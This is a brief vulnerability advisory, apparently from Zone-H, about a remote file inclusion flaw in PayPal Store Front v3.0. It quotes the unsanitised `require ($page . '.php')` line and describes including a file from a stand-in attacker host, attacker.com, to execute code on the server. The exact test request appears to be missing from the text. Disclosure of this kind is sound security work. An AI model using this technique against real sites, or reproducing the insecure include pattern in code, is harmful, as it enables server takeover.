Zone-H Security Team has discovered a flaw in PayPal Store Front v3.0 (and other versions?), commercial and free version. PayPal Store Front "is created for small to medium size companies who want to sell products online, but is not limited to it. Any one, who has something to sell, can use this Cart System to sell.".
There's a file inclusion vulnerability in the index.php file:
require ($page . ".php");
Is it possible for a remote attacker to include an external file and execute arbitrary commands with the privileges of the webserver (nobody by default).
To test the vulnerability try this:
In this way the file "http://www.attacker.com/index.php" will be included and executed on the server.
